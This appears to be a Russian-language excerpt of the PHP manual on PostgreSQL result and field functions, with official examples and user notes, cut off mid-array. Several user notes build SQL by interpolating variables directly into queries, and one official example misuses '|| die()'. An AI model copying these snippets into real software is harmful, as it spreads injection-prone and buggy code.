Возвращаемые значения

Логические значения возвращаются как "t" или "f". Остальные типы, включая массивы, возвращаются в виде строк в стандартном формате PostgreSQL, аналогично выводу программы psql. Значения NULL базы данных преобразуются в PHP null.

false, если row превышает число строк в результате запроса, и при прочих ошибках.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_result()

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "Первое поле во второй строчке результата это: ", $val, "\n";
?>

Результат выполнения данного примера:

Первое поле во второй строчке результата это: 2

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_fetch_array() - Возвращает строку результата в виде массива

User Contributed Notes

ElDiablo 02-Oct-2018 11:25
Please note that a very old bug (#76548) has been fixed in 7.2.8.

Previously, pg_fetch_result did not fetch the next row if $row was omitted.
It is now well the case, so bad use of the function can now cause some bugs in your codes.
Alan U. Kennington 22-Sep-2006 06:49
See bug #33809 http://bugs.php.net/bug.php?id=33809
Whether this really is a bug or a feature is not clear.
However, it is probably best to always put your column names in extra quotes.

$res = pg_query(...);
$colname = pg_field_name($res, $j);
pg_fetch_result($res, $i, "\"$colname\"");
Alan U Kennington 22-Sep-2006 05:16
In order to use upper case in pg_fetch_result column names, it is apparently necessary to include explicit quotation marks.

Thus when I do this sort of thing:

$res = pg_query(...);
$ncols = pg_num_fields($res);
for ($j = 0; $j < $ncols; ++$j) {
    $colname[$j] = pg_field_name($res, $j);
    $name = htmlspecialchars($colname[$j]);
    print("Column $j name = \"$name\"\n");
    $value = htmlspecialchars(pg_fetch_result($res, 0, $colname[$j]));
    print("Column \"{$colname[$j]}\" value = \"$value\"\n");
    }

I get this sort of thing:

[....]
Warning: pg_fetch_result() [function.pg-fetch-result]: Bad column offset specified in /.../view.php on line 247
Column 8 name = "VEC index"
Column "VEC index" value = ""

But if I change the $value line to this:

$value = htmlspecialchars(pg_fetch_result($res, 0, "\"$colname[$j]\""));

I get this:

[...]
Column 8 name = "VEC index"
Column "VEC index" value[0] = "47"

In my opinion, pg_fetch_result(...) should use the quotes already. In other words, this may be a bug in the PHP postgres library. It does not seem to be a documented feature of pg_fetch_result() although the postgresql manual documents it under "SQL syntax", "Lexical structure".

PHP version 5.1.4.
psql version 8.1.4.
Akbar 01-Dec-2004 08:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com 04-Sep-2002 08:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }


Выбирает строку результата запроса и помещает данные в массив

  • « pg_fetch_result
  • pg_field_is_null »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает строку результата запроса и помещает данные в массив

pg_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_row — Выбирает строку результата запроса и помещает данные в массив

Описание

pg_fetch_row(PgSql\Result $result, ?int $row = null, int $mode = PGSQL_NUM): array|false

pg_fetch_row() выбирает одну строку из результата запроса result.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер выбираемой из результата запроса строки. Нумерация начинается с нуля. Если аргумент опущен или равен null, берётся следующая по очереди строка.

mode

Необязательный параметр, управляющий тем, как индексируется возвращаемый массив (array). Параметр mode является константой и может принимать следующие значения: PGSQL_ASSOC, PGSQL_NUM и PGSQL_BOTH. При использовании PGSQL_NUM функция возвращает массив с числовыми индексами, при использовании PGSQL_ASSOC она вернёт только ассоциативные индексы, а PGSQL_BOTH вернёт как числовые, так и ассоциативные индексы.

Возвращаемые значения

Численно индексированный массив значений из строки результата запроса. Индексация начинается с нуля. Значения представляются в виде строк. Значения NULL базы данных преобразуются в PHP null.

false, если row превышает число строк в результате запроса, когда строк в результате не осталось, и при прочих ошибках.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_row()

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

while ($row = pg_fetch_row($result)) {
echo "Автор: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

eddie at eddiemonge dot com 06-Oct-2009 05:09
pg_fetch_row is faster than pg_fetch_assoc when doing a query with * as the select parameter. Otherwise, with declared columns, the two are similar in speed.
pletiplot at seznam dot cz 06-Jun-2006 03:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de 26-Apr-2005 02:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com 14-Oct-2004 12:03
Get downlines, put them into arrays.

function get_downlines($my_code){
    global $link;

    $sql = "select user_id, name from tb_user where parentcode = $my_code";
    $res = pg_query($link,$sql);
    if(!$res){
        echo "Error: ".$sql;exit();
    }
    $num_fields = pg_num_fields($res);
    $info_rows = 0;

    $num_rows = pg_num_rows($res);
    while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

        while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
        }
        $info_rows++;
    }
return $info_elements;
}
Matthew Wheeler 22-May-2003 09:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id 23-Jul-2002 08:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net 22-Aug-2001 05:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
    for ($j=0; $j<$col_num; $j++){
    list($col_name, $col_value) =each($line);
    print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
    }
  echo "<br>";
  }


Проверка поля на значение SQL NULL

  • « pg_fetch_row
  • pg_field_name »
  • PHP Manual
  • Функции PostgreSQL
  • Проверка поля на значение SQL NULL

pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_is_null — Проверка поля на значение SQL NULL

Описание

pg_field_is_null(PgSql\Result $result, int $row, mixed $field): int
pg_field_is_null(PgSql\Result $result, mixed $field): int

pg_field_is_null() проверяет, содержит ли ячейка экземпляра PgSql\Result значение SQL NULL.

Замечание:

Прежнее наименование функции: pg_fieldisnull().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер строки результата запроса с нужным полем. Нумерация строк начинается с нуля. Если аргумент не задан, будет выбрана текущая строка.

field

Номер поля (начиная с нуля) как int или имя поля как string.

Возвращаемые значения

Возвращает 1, если выбранное значение SQL NULL, 0 для других значений. Функция вернёт false, если номер строки будет вне допустимого диапазона и при прочих ошибках.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_field_is_null()

<?php
$dbconn = pg_connect("dbname=publisher") or die ("Не удалось соединиться с базой");
$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
if ($res) {
if (pg_field_is_null($res, 0, "year") == 1) {
echo "Значение поля year null.\n";
}
if (pg_field_is_null($res, 0, "year") == 0) {
echo "Значение поля year не null.\n";
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает наименование поля

  • « pg_field_is_null
  • pg_field_num »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает наименование поля

pg_field_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_name — Возвращает наименование поля

Описание

pg_field_name(PgSql\Result $result, int $field): string

pg_field_name() возвращает имя поля результата запроса result с порядковым номером field. Нумерация полей начинается с нуля.

Замечание:

Прежнее название функции: pg_fieldname().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Номер поля, начиная с нуля.

Возвращаемые значения

Наименование поля.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о полях выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с базой");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

Результат выполнения данного примера:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

Смотрите также

  • pg_field_num() - Возвращает порядковый номер именованного поля

User Contributed Notes

12-Aug-2004 10:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

        $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

        $data = pg_fetch_object($result);

        return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com 12-Jan-2001 11:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"


Возвращает порядковый номер именованного поля

  • « pg_field_name
  • pg_field_prtlen »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает порядковый номер именованного поля

pg_field_num

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_num — Возвращает порядковый номер именованного поля

Описание

pg_field_num(PgSql\Result $result, string $field): int

pg_field_num() вернёт порядковый номер поля с именем field в результате запроса result.

Замечание:

Прежнее название функции: pg_fieldnum().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Наименование поля. Данное имя обрабатывается как идентификатор в SQL-команде, то есть оно переводится в нижний регистр, если оно не заключено в двойные кавычки.

Возвращаемые значения

Номер поля (начиная с нуля), либо -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о полях выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с базой");

$res = pg_query($dbconn, "select author, year, title from authors where author = 'Orwell'");

echo "Столбец 'title' - это поле с номером: ", pg_field_num($res, 'title');
?>

Результат выполнения данного примера:

Столбец 'title' - это поле с номером: 2

Смотрите также

  • pg_field_name() - Возвращает наименование поля

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество печатаемых символов

  • « pg_field_num
  • pg_field_size »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает количество печатаемых символов

pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_prtlen — Возвращает количество печатаемых символов

Описание

pg_field_prtlen(PgSql\Result $result, int $row_number, mixed $field_name_or_number): int
pg_field_prtlen(PgSql\Result $result, mixed $field_name_or_number): int

pg_field_prtlen() возвращает длину строки (количество символов) значения поля при выводе результата result. Строки нумеруются с нуля. Функция вернёт false в случае возникновения ошибки.

field_name_or_number Номер или имя выбранного поля. Может передаваться либо как int, либо как string. Если передаётся значение типа int, PHP распознает его как номер, в противном случае как наименование поля.

Ознакомьтесь с примерами на странице с описанием функции pg_field_name().

Замечание:

Прежнее название функции: pg_fieldprtlen().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер строки результата запроса с нужным полем. Нумерация строк начинается с нуля. Если аргумент не задан, будет выбрана текущая строка.

Возвращаемые значения

Длина строки при выводе значения поля.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о полях выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с базой");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

Результат выполнения данного примера:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

Смотрите также

  • pg_field_size() - Возвращает размер поля

User Contributed Notes

djmaze@moocms 25-Aug-2007 05:01
Or even easier to keep things simple on fetching

SELECT a.attname AS name, t.typname AS type, a.attstorage AS i,
    CASE WHEN a.attlen = -1 THEN a.atttypmod ELSE a.attlen END AS size
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = 'moo_members'
    AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped
gregm at gxsnmp dot org 12-Feb-2007 08:11
If you update the query to this:

$s = "SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped";

You get postgres to filter out the 'postgres' columns and get only your columns back.
r dot galovic at r-3 dot at 18-Apr-2005 01:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
    $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = '$TABLE'
    AND a.attrelid = c.oid AND a.atttypid = t.oid";

    if ($r = pg_query($DBCON,$s))
    {
        $i=0;
        while ($q = pg_fetch_assoc($r))
        {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
            $i++;
        }
        return $a;
    }
    return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
    echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}


Возвращает размер поля

  • « pg_field_prtlen
  • pg_field_table »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает размер поля

pg_field_size

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_size — Возвращает размер поля

Описание

pg_field_size(PgSql\Result $result, int $field): int

pg_field_size() возвращает объем памяти (в байтах), занимаемый значением поля результата запроса PostgreSQL result.

Замечание:

Прежнее название функции: pg_fieldsize().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Порядковый номер поля результата запроса, начиная с нуля.

Возвращаемые значения

Требуемый объем памяти (в байтах) для хранения значения поля. -1 указывает на переменный размер поля.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о полях выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Невозможно соединиться с базой");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

Результат выполнения данного примера:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

Смотрите также

  • pg_field_prtlen() - Возвращает количество печатаемых символов
  • pg_field_type() - Возвращает имя типа заданного поля

User Contributed Notes

ij at NOSPAM dot irj dot co dot za 14-Jun-2005 04:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de 23-Feb-2005 05:49
function get_create_syntax( $table )
{
  $qry  =  "
            SELECT    *
            FROM      $table
            LIMIT     1
          ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
    $name = pg_field_name( $res, $i );
    $type = pg_field_type( $res, $i );
    $size = pg_field_size( $res, $i );

    $item[$i] = '"'.$name.'" '.$type;

    $qry  =  "
              SELECT    a.atttypmod    AS size,
                        a.attnotnull  AS notnull
              FROM      pg_attribute  AS a,
                        pg_class      AS c
              WHERE     c.relname   = '$table'
              AND       a.attrelid  =  c.oid
              AND       a.attname    =  '$name'
             ";
    $res2  = pg_query( $qry );
    $out  = pg_fetch_object( $res2 );

    if( $out -> size != -1 )
    {
      $item[$i] .= '('.( $out -> size - 4 ).')';
    }
    if( $out -> notnull == 't' )
    $item[$i] .= ' NOT';

    $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe 02-Jul-2002 09:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields


Возвращает наименование или идентификатор таблицы, содержащей заданное поле

  • « pg_field_size
  • pg_field_type_oid »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает наименование или идентификатор таблицы, содержащей заданное поле

pg_field_table

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

pg_field_table — Возвращает наименование или идентификатор таблицы, содержащей заданное поле

Описание

pg_field_table(PgSql\Result $result, int $field, bool $oid_only = false): string|int|false

pg_field_table() возвращает имя таблицы, которой принадлежит заданное поле. Если в качестве аргумента oid_only передаётся true, функция вернёт oid-идентификатор таблицы.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Порядковый номер поля результата запроса, начиная с нуля.

oid_only

По умолчанию функция возвращает название таблицы, содержащей заданное поле. Если параметр oid_only равен true, то функция вернёт oid таблицы.

Возвращаемые значения

При успешном завершении название таблицы или её oid или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о поле выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с базой");

$res = pg_query($dbconn, "SELECT bar FROM foo");

echo pg_field_table($res, 0);
echo pg_field_table($res, 0, true);

$res = pg_query($dbconn, "SELECT version()");
var_dump(pg_field_table($res, 0));
?>

Результатом выполнения данного примера будет что-то подобное:

foo
14379580

bool(false)

Примечания

Замечание:

Возврат oid таблицы значительно быстрее, чем её названия, потому как определение названия требует выполнения дополнительного запроса к системной таблице базы данных.

Смотрите также

  • pg_field_name() - Возвращает наименование поля
  • pg_field_type() - Возвращает имя типа заданного поля

User Contributed Notes

giultar at gmail dot com 02-Jun-2020 08:52
this function return an OID even if your field comes from a view or a select but return FALSE if your field comes from an UNION select
strata_ranger at hotmail dot com 15-May-2009 11:11
pg_field_table is primarily useful for queries that involve joins between multiple tables, e.g:

<?php
$res = pg_query("SELECT table1.foo, table2.bar FROM table1 JOIN table2");
echo pg_field_table($res, 0); // Outputs 'table1'
echo pg_field_table($res, 1); // Outputs 'table2'
?>

However, be aware of a few easy 'gotchas':

1- If your query contains static values in its select-list, pg_field_table() will yield FALSE for those fields (because it was a static value, not one fetched from a table):

<?php
$res = pg_query("SELECT 'foo', bar FROM table");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // Outputs 'table'
?>

2- If you UNION two queries together from different tables, pg_field_table() will return FALSE for all fields:

<?php
$res = pg_query("(Select foo, bar from table1) UNION (Select foo, bar from table2)");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // FALSE
?>


Возвращает идентификатор типа заданного поля

  • « pg_field_table
  • pg_field_type »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает идентификатор типа заданного поля

pg_field_type_oid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_field_type_oid — Возвращает идентификатор типа заданного поля

Описание

pg_field_type_oid(PgSql\Result $result, int $field): string|int

pg_field_type_oid() возвращает целочисленный идентификатор базового типа (OID) значений колонки результата запроса result с номером field.

Более подробную информацию о типе значений можно получить, отправив запрос с полученным OID к системной таблице PostgreSQL pg_type. Функция PostgreSQL format_type() преобразует OID в стандартное имя типа SQL.

Замечание:

Если в качестве типа значений используется PostgreSQL домен (вместо базового типа), функция вернёт OID типа внутри домена, а не OID самого домена.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Порядковый номер поля, начиная с нуля.

Возвращаемые значения

OID базового типа значений поля.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о полях выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Невозможно соединиться с базой");

// Допустим, 'title' имеет тип varchar
$res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

Результат выполнения данного примера:

Title field type OID: 1043

Смотрите также

  • pg_field_type() - Возвращает имя типа заданного поля
  • pg_field_prtlen() - Возвращает количество печатаемых символов
  • pg_field_name() - Возвращает наименование поля

User Contributed Notes

stanislav dot perfilov at gmail dot com 20-Jan-2021 01:23
<?php

private function mapping($q, $result)
    {
        $types = [];
        for ($i = 0, $count = \pg_num_fields($q); $i < $count; ++$i) {
            $types[$i] = \pg_field_type_oid($q, $i);
        }
        foreach ($result as $k => &$row) {
            $i = -1;
            foreach ($row as $name => &$value) {
                ++$i;
                if ($value === null) {
                    continue;
                }
                switch ($types[$i]) {
                    case 20:
                    case 21:
                    case 23: $value = (int)$value; break;
                    case 16507: /*$value = (string)$value; */break;
                    default:
                        throw new \RuntimeException(
                            \pg_field_type($q, $i) .' type. Need mapping ' . \pg_field_type_oid($q, $i)
                        );
                }
            }
        }
        unset($value, $row);

        return $result;
    }

?>
mauroi at digbang dot com 24-Mar-2005 07:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.


Возвращает имя типа заданного поля

  • « pg_field_type_oid
  • pg_flush »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает имя типа заданного поля

pg_field_type

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_type — Возвращает имя типа заданного поля

Описание

pg_field_type(PgSql\Result $result, int $field): string

pg_field_type() возвращает строку, содержащую имя базового типа значений колонки результата запроса result с номером field.

Замечание:

Если в качестве типа значений используется PostgreSQL домен (вместо базового типа), функция вернёт имя типа внутри домена, а не имя самого домена.

Замечание:

Прежнее название функции: pg_fieldtype().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Порядковый номер поля, начиная с нуля.

Возвращаемые значения

Строка, содержащая имя базового типа значений поля.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение информации о поле выборки

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с базой");

// Положим, 'title' имеет тип varchar
$res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

echo "Title field type: ", pg_field_type($res, 0);
?>

Результат выполнения данного примера:

Title field type: varchar

Смотрите также

  • pg_field_prtlen() - Возвращает количество печатаемых символов
  • pg_field_name() - Возвращает наименование поля
  • pg_field_type_oid() - Возвращает идентификатор типа заданного поля

User Contributed Notes

Joshua Burns 01-Mar-2013 10:29
Here is an updated list of nearly every PostgreSQL data type, and PHP's internal C-type equivalent, updated for PostgreSQL 9.2. The first array maps PHP's internal data type to PostgreSQL's equivalents. The second maps PostgreSQL's data-types to PHP's equivalents.

<?php

$php_to_pg = array(
    'bit' => array('bit'),
    'bool' => array('boolean'),
    'box' => array('box'),
    'bpchar' => array('character','char'),
    'bytea' => array('bytea'),
    'cidr' => array('cidr'),
    'circle' => array('circle'),
    'date' => array('date'),
    'daterange' => array('daterange'),
    'float4' => array('real'),
    'float8' => array('double precision'),
    'inet' => array('inet'),
    'int2' => array('smallint', 'smallserial'),
    'int4' => array('integer', 'serial'),
    'int4range' => array('int4range'),
    'int8' => array('bigint', 'bigserial'),
    'int8range' => array('int8range'),
    'interval' => array('interval'),
    'json' => array('json'),
    'lseg' => array('lseg'),
    'macaddr' => array('macaddr'),
    'money' => array('money'),
    'numeric' => array('decimal', 'numeric'),
    'numrange' => array('numrange'),
    'path' => array('path'),
    'point' => array('point'),
    'polygon' => array('polygon'),
    'text' => array('text'),
    'time' => array('time', 'time without time zone'),
    'timestamp' => array('timestamp', 'timestamp without time zone'),
    'timestamptz' => array('timestamp with time zone'),
    'timetz' => array('time with time zone'),
    'tsquery' => array('tsquery'),
    'tsrange' => array('tsrange'),
    'tsvector' => array('tsvector'),
    'uuid' => array('uuid'),
    'varbit' => array('bit varying'),
    'varchar' => array('character varying', 'varchar'),
    'xml' => array('xml'),
);

$pg_to_php = array(
    'bit' => 'bit',
    'boolean' => 'bool',
    'box' => 'box',
    'character' => 'bpchar',
    'char' => 'bpchar',
    'bytea' => 'bytea',
    'cidr' => 'cidr',
    'circle' => 'circle',
    'date' => 'date',
    'daterange' => 'daterange',
    'real' => 'float4',
    'double precision' => 'float8',
    'inet' => 'inet',
    'smallint' => 'int2',
    'smallserial' => 'int2',
    'integer' => 'int4',
    'serial' => 'int4',
    'int4range' => 'int4range',
    'bigint' => 'int8',
    'bigserial' => 'int8',
    'int8range' => 'int8range',
    'interval' => 'interval',
    'json' => 'json',
    'lseg' => 'lseg',
    'macaddr' => 'macaddr',
    'money' => 'money',
    'decimal' => 'numeric',
    'numeric' => 'numeric',
    'numrange' => 'numrange',
    'path' => 'path',
    'point' => 'point',
    'polygon' => 'polygon',
    'text' => 'text',
    'time' => 'time',
